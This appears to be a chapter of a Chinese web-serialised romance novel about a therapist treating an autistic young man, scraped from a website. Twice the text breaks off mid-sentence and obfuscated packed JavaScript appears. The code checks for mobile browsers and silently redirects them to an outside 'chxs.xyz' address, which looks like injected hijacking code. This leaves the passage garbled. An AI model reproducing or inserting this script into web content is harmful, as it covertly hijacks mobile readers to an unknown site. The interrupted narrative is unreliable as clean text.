要不是咨询台正面印着“护士站”三个大字,仓库门缝里能看到药品器械装箱堆放,夏初浅还以为自己勿入了喜欢玩角色扮演的富豪的私人会所。 等电梯时,钟渊出现在她身边。 夏初浅颔首问好,没有多言,用余光偷瞄钟渊,生怕又被劈头盖脸讥讽一通。 她有些心虚,因为秋末染追她险些鼓针。 “夏小姐这么怕我?”钟渊目视电梯面板逐渐递增的数字,仿佛太阳穴开了个侧眼,他语气带着些许奥妙,“有趣。怕我,但不怕秋许明。” 话毕,冷笑声从他唇缝间嗤出。 “是有点怕。”夏初浅自认不讳,“但我并不是怕你,我怕的是自己经验和知识不足而犯错,我不想因为我伤害了小染。你在这里充当一面镜子,我能看到我的不足。” 钟渊高深莫测的目光从旁侧降临,夏初浅无视,自说自话:“你陪在小染身边许多年,我确实不如你了解他的情况,但是钟医生……” 夏初浅稍稍侧身,杏眼上望:“我们现在为同一个客户工作,算得上同事,更算半个同行。恕我拙见,钟医生你或许应该整理一份注意事项,提前告知我在给小染做治疗时需要留意什么、避免什么,我可以减少试错。” “同样,我有新发现及时同步给你。身体治疗和心理干预相辅相成,身体是鱼,心理是水,没有鱼,水就是一滩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13947286|147204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毫无生命可言的无机物,没有水、水无被污染了,鱼都会死。所以,我们好好合作共同努力吧。” 她的话直白但不直冲。 电梯到达,钟渊率先进入轿厢。 夏初浅见他不为所动,瘪瘪嘴,搭上同一部。 钟渊按下负二层按钮的同时,淡淡地说:“夏小姐,我送你。别误会,我有事要跟你说而已。你远没有跟我提建议的资格,但今天你舍命相救的壮举让我对你有点改观,我姑且相信你有定力在秋家继续做下去。” 稍作忖量,夏初浅同意了。 她非常好奇钟渊打算说什么,再者,她现在背部还隐隐作痛,坐公交回去要转线,身体实在有点吃不消,时间也晚了,快点回去才行。 来到停车场,夏初浅跟着钟渊在一辆灰色宾利前停下。 正在她犹豫该坐副驾驶座还是后排时,斜前方,一辆黑色迈巴赫赫然进入她的视线。 车牌号很眼熟…… 是秋许明的车! “钟医生,麻烦等我一下!你上车后锁好车门!” 见秋许明一面难如登天,虽然白天才被误伤一铁拳,但夏初浅鼓足勇气奔了过去,还有一个事实借了她半个胆子,就是秋许明的确不打弱女子。 她轻轻叩击车窗,恳切地说:“秋先生,您好!我是新来的心理治疗师,夏初浅。我接手秋末染的治疗一个月零十三天,他很配合很努力,他最近有一些进展和突破,我想,我应该把这个消息同步给您!” 夏初浅对此不抱希望。 她做好了目送迈巴赫扬长而去的准备,但没成想,车窗缓缓降下二十厘米。 “说。” 悍狼一样的男人惜字如金。 他轮廓刚毅的侧脸下颌线紧绷,眼神中嗜血成性的凶戾弱化了些许,但仍不怒自威。 夏初浅言简意赅地汇报,特别强调道:“秋先生,秋末染今天开口讲话了。” 闻言,秋许明眸底划过转瞬即逝的惊讶。 他自始至终侧脸面对夏初浅,沉声问:“所以?” “所以……”夏初浅双手紧紧攥住衣摆,深吸一口气,杏眼因为惧怕而爆出几根红血丝,她咬牙说出,“所以秋先生,求求你不要再伤害秋末染了!让他快点好起来吧!” 她语速极快,染几分哽咽。 秋许明不动声色,恍若未闻。 自然界中,优秀的捕猎者从不外泄气味,完美隐藏是攀上食物链顶端的必备法则。 末了,夏初浅也没等到秋许明的只字片语,只等到他沉厚如磐石的一声:“开车。” 直到万籁都寂,千家万户的灯一盏接一盏熄灭,黑色迈巴赫依然高速穿梭于街巷。 像一团无家可归的游魂,试图用速度甩掉生前的妄念之思,假以月光是暖床灯。 车内,司机阿肯透过前视镜打量后排的秋许明,只见男人眸色中依稀浮出星星点点的怅惘。 夜色将人软弱的一面放大,哪怕是万兽之王,也要在猎杀以外的时间卷尾收爪。 “老板,车快没油了,我找加油站加油。” 秋许明沉默颔首,深晦的眼眸眺向窗外的无边夜色,黑如墨的夜不掺杂质,仿若一张荧幕。 眼前,十九岁的小崽子失神地护着那昏迷的小姑娘,惊慌到连手脚都不知该往哪儿放,乍然,他脑中的某个开关貌似启动,眼神急转直变。 抬眸,一双不比他冷骘的眼。 几乎一瞬间,小崽子像只野狼汹汹蹿起扑来,势不可挡,迸发出的力气竟将他生生压倒! 他们扭打在一起。 小崽子第一次反击,颇有几分他的气势。 秋许明拇指揩拭嘴角,指腹划过血痂,鼻梁上也有一道细微的战损痕迹。 心里五味俱全,理性和感性各自为营,相互厮杀。 终了,他暗自叹息,对着阿肯道:“加完油去机场。” 阿肯问:“BOSS,去哪儿?” “回墨西哥,呵,鬣狗最近成群结队。”秋许明目光再次被暗夜吞噬,莫名苍凉,“今年都不回来了。” 16. 天台 迈巴赫渐行渐远,变成了一个触不到的黑点。 夏初浅拉开后排车门,钟渊怫然的口气响起:“副驾,我不是你的司机。” 她垂头丧气坐进副驾驶位。 “不知该说你勇气可嘉还是没脑子。”钟渊发动引擎,边打方向盘边嗤笑,问,“住哪儿?” 夏初浅不计较钟渊的揶揄,回道:“麻烦钟医生送我到阳安公园公交站,谢谢。” 宾利驶离地下停车场,融于霓虹交织的茫茫夜色,夜风吹皱衰期残败的花枝,枯瓣零碎满地。 她思绪慢慢沉淀下来,问起了正事:“钟医生,请问你要对我说什么?” “我做末染的私人医生四年,在此之前他由我叔叔负责。我对他算不上特别了解,这一点,我相信刘管家都不敢说自己完全了解末染。” “嗯,这就是自闭症又称孤独症的原因。不管有心无心,他们都很难被理解,也很难亲近。” 钟渊终于对夏初浅的话表露出认同,他继续说:“成年人做任何一件事都有目的。我不知道夏小姐你不畏危险、大胆坚持的原因是什么,我不感兴趣,就我自己来说,对秋末染的探索欲远大于其他一切好处。” “探索欲?”夏初浅不解其意。 “你应该发现了,末染他非常聪明。”见夏初浅点头,钟渊把视线转回畅通无阻的高速路,“我见过很多高智商的人,但都没有末染有趣,我很好奇他的上限在哪,这就是我能做他四年私医的理由。我测试过他,他的极限似乎是无限的,我同时发现,他一旦高度集中注意力就容易引发癫痫。” 夏初浅耳膜像被扎了一针,脑中的片段碎片由此拼凑成了完整的逻辑链。 她从没把癫痫和注意力聚焦联系到一块儿。 癫痫本就是自闭症常见的并发症之一,神经系统协调性降低,增加了部分大脑神经发生异常放电的风险,表现出癫痫病症,说发病就发病。 那么,那个少年…… 喉头涌出酸涩滋味,夏初浅垂下眼帘,左手扣着右手指甲,轻声问:“小染他……自己知道吗?” 钟渊面露不爽:“夏小姐,好问题。” 他忍不住呛:“他当然知道,他只是和普通人不太一样,但并不是个傻子。” 内心最柔软一角似被轻拢慢捻,夏初浅低头不语,刮擦自己的指甲边缘,她的也剪得很短。 “夏小姐。”钟渊接着说,“自闭症特殊就特殊在难以被教化。人类社会为了巩固统治和和平发展,制订了许多教条和约束,把人都打造成相似的模板,遵从相似的逻辑,在相似的年纪做相似的事情。” “如果有人跳出条条框框,就显得另类了,被贴上‘坏’或‘傻’的标签。我不认可这套世俗逻辑,但不可否认,这是主流观念,它能维护大多数人的利益。” “现在你有机会摘掉末染身上的负面标签,让他去做普通人。老实说,我真不知道秋先生在哪里找到你们这一帮不作为的心理医生,真好笑,你们做别人情绪的避风港,心理素质却一个比一个差。” 钟渊的讽刺不加遮掩,语调一转:“你是不是个例外我还不能断定,但至少目前来说,你,还算有点可取之处,你也许还能让我好奇的事变得更加有趣。” 禁欲系研究狂魔,唯一的欲望就是搞事业。 夏初浅在内心给钟渊赋予人设,她牵唇笑笑:“谢谢。钟医生今天比较……随和。” 当然,“君”命难为。 闲聊间,宾利即将抵达阳安公园公交站台,夏初浅想起一件重要的事,或许有点多管闲事,但她还是开口问:“钟医生在那家医院工作吗?” “是。” “小染住院的消息是不是封锁比较好?秋先生貌似有自己的顾虑,不愿把小染公之于众。” “不需要你担心,不可能有消息透出。” 看钟渊胸有成竹,夏初浅多问了一嘴:“这么肯定?钟医生已经打点好了?” “医院我家的。” 夏初浅哑然,哦,又一位公子哥。 * 回到家,李小萍攥住夏初浅的手问东问西,最后,夏初浅用“在图书馆准备论文结果学入迷了,忘了看时间”来搪塞,李小萍将信将疑,没多说什么。 洗完澡,夏初浅躺床上,看到刘世培发来消息,对她今日舍身挡拳的行为以表感激。 年龄不饶人,刘世培眼睛有点昏花,指关节也不甚灵活,通常简短的回复打字,长一些的发语音。 此刻大段文字铺于纸上,心意在字里行间尽显。 夏初浅回复不客气,又关心了秋末染的身体状况,得知他乖乖吃饭吃药,还吊完了晚上份的吊瓶,甜甜笑意蕴藏在她微微扬起的唇角。 她发语音问:“刘管家,小染有再开口说话吗?” 很快,一个1秒的语音过来:“有。” 透亮温和的嗓音,在电波信号的传播下音色和音质稍变,生出几分醉人磁性。 是秋末染在回答她。 笑容愈酿愈浓,夏初浅一个翻身趴在床上,两只脚丫情不自禁翘起,欢悦交叉。 她点开那1秒的语音听了好几遍,想了想,问道:“小染,你知道自己太专注会癫痫吗?” 少年如实回答:“知道。” 夏初浅半握拳托着脸颊。 说不感动是假的,她本想数落他但出口的语气满是疼惜:“那你还乱来!还帮我凭记忆还原论文,万一癫痫又发作了怎么办?多难受啊……” 十几秒的语音发来:“不,难受,睡,一觉,就好。浅浅,比较重,要。” 梆硬的语调和古怪的断句方式,却引得夏初浅满心欢喜,看来语言障碍是他的难关了。 夏初浅突发奇想,没过脑子便问:“小染,你喜欢喝鸡汤吗?” 她很快收到少年说的“喜欢”。 不自觉又聊了两句,两人互道晚安。 入睡前,夏初浅无意识把聊天记录往前拉到那条1秒的语音,然后往下一条条温习。 听着听着,她才诧然自己想给秋末染煲鸡汤喝的想法。 无论从何种角度出发,这个念头都是逾矩的,包括此刻,她和他在治疗时间之外的私联也不合规定,治疗师应尽量避免和来访者建立私人关系。 赶紧放下手机,裹好被子,她双目紧闭。 她最近可能被感动和成就感冲昏头脑了。 * 夏初浅最近两天的治疗都在医院进行,这间医院虽然是远离市区的僻静之地,但比秋家近一些,她不用公交转大巴,节省了一些时间。 说来惭愧,那晚她提了一嘴“鸡汤”,本意想熬滋补鸡汤给秋末染补补身子,又觉得不妥便作罢,结果,似乎被刘世培解读成了她夏初浅馋鸡汤了。 刘世培这两天都让王妈煲鸡汤。 昨天是红枣桂圆乌鸡汤,今天是鲍鱼松茸参鸡汤,听说明天是虫草花当归土鸡汤,由方朋在饭点开车送来,留一份放病房冰箱,下午茶时间让护士去长廊另一头的小厨房热一下端来给夏初浅喝。 夏初浅盛情难却,喝得羞愧难当。 不得不说,王妈的手艺出神入化,幸好她没有煮鸡汤带过来,简直在大厨面前班门弄斧。 她收到了钟渊整理好的注意事项清单,钟渊还提议带秋末染去医院顶楼散散步。 喝完满满一大碗真材实料的鲍鱼松茸参鸡汤,夏初浅实在不好意思,去吧台把骨瓷碗洗了。 “小染,走啦!”夏初浅把浅杏色厚卫衣递给秋末染,再拿上自己的黑色短外套,朝刘世培笑盈盈挥手,“刘管家,我带小染去顶层天台,五点前回来。” 秋末染把宽宽大大的卫衣套在病号服外,头发压乱了,妨碍他看浅浅,他随意抓了抓。 他平日的穿着贴近“日系风”,简单宽松的基础款叠搭而成,清新的素色系,浅色居多,此时,他略显凌乱的发型更是再堆叠一层慵懒松弛感。 刘世培目随两个孩子移动,像长辈对着出游小辈那般叮嘱:“穿厚点,注意安全。” * 顶楼四周环绕三米高的铁丝网,当初原本设计为“空中花园”,但各方面考量后,计划流产了,打下的基底还在,不用担心环境不好或是不安全。 医院有一栋半室内半露天的疗养园,虽然清心去燥,但常年有病人在此歇息。 秋末染尚不到能接触陌生人的程度,夏初浅和钟渊综合考量,还是带他去顶楼比较稳当。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13967730|147204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这里视野开阔,天高地远,远离凡尘俗世,仿佛伸手够一够就接近天堂。 可是,秋末染出现了应激反应。 当门推开的那一刻,高空中凌厉的风是手举火把的异教徒,乌泱泱嘶吼着攻破他的池城。 风划过他脸颊竟像刀刀凌迟。 过于广阔的世界挤满他的眼球,他小小的内心天地仿佛毫无节制注水的气球快要爆裂。 “砰——” 夏初浅及时关上天台门。 “小染,你还好吗?来,跟着我,做深呼吸。”她扶住秋末染的双臂,让他靠墙借力,吸气吐气平复情绪。 自那天他主动让她摸摸头之后,他不再躲避她的触碰。 看着秋末染一瞬苍白的脸,夏初浅忽然于心不忍,质疑自己会不会急于求成了。 她抚顺他的呼吸,上抬水晶皮般的眼皮,心疼道:“要不……我们今天回去吧?等以后再说。” 少年垂眸细读她的表情,她看起来有点失望,他轻咬下唇:“浅浅,想,去?” 夏初浅握住秋末染胳膊的手稍稍用力,眼里释放真诚的光:“小染,我想和你一起去。” “那,去。” 清湛的声音被门后的猎猎秋风吹散。 秋末染的碎发狂恣飞扬,他望着他打开的门做心理建设,吞口水压制惶悸。 夏初浅拽拽他的卫衣衣袖,从口袋里掏出一样道具,笑容透出灵巧劲儿:“我们慢慢来,一口吃不了胖子。” 她示意他俯身低头,不然她够不到。 少年懵懂照做,眼前被她轻柔地蒙上一条黑色遮光条。 视力从五感中下线,感知世界最直观的媒介被切断,大脑的警报系统偃旗息鼓,秋末染脑中的画面霍然净化成了一片令他安心的空茫。 他从不怕黑,怕遗弃和入侵。 大风此刻不再是手执利剑的刽子手,幻化成了羽毛笔,在他肌肤写下温情脉脉的诗篇。 “小染,好一些了吗?”夏初浅观察到秋末染的身子回到了放松状态,看他点点头,她握住他的小臂,给他带路,“我们今天先盲人摸象……脚下有台阶,小心哦。” 他听话地抬脚跨越门槛。 把所有的信任交付于她。 夏初浅搀着秋末染在天台逛了一圈,他双臂伸在胸前,触摸他遇到的一切。 人类指腹的触觉最灵敏,太多陌生的触感让他皮肤表面的大量触点激活,电流信号随神经纤维到达大脑,他感受到冰冷物体带给他的新鲜感。 少年渐渐脚步轻快,黑布条下的薄唇依旧没有笑意,但呈现非常自然松弛的形态。 夏初浅悄悄松开手,走在秋末染旁边提醒他障碍物。 她全部注意力都落他身上了,没留意自己脚下有个凸起的管道口。 脚下一绊,她跪趴在地上! “哎呀!” 她小声叫了一声,心想还好穿得厚,磕不破膝盖。 跪地上拍拍手上的灰,她正准备起来…… 一双修长的手臂倏地从身后环住她的腰。 搂得很紧。 清冽的气息伴秋风萦绕她鼻腔,她侧脸捕捉到他鬓角的发不经意蹭过来的酥麻。 不等她缓冲一下,少年将她拦腰抱起! ……啊! ……啊啊啊! 她在他怀中身体直立,双脚离地一大截,怎么费力绷脚尖都够不到地! “浅浅,摔,倒了。” 少年“瞎”视前方,光明磊落又有些茫然。 血液一股脑冲上脑袋,夏初浅脸色涨红,耳尖娇红欲滴,她挣扎大叫:“啊!放我下来!” 秋末染点点头,全然没意识到自己的下巴在轻蹭夏初浅敏感的头皮,他慢慢松手,怕她又摔着。 夏初浅则被刺激得冒鸡皮疙瘩! 她不由地锤他的手背,头顶冒火地喊:“快点!再不松手我要生气了!” 秋末染一滞:“……” 手臂猛地收紧,夏初浅刚碰到地面的脚尖又高高拔起。 少年似乎不明白她为什么要生气。 他裹着委屈的嗓音滑过她耳廓,附带温热气息:“浅浅可以,我为,什么,不可,以?”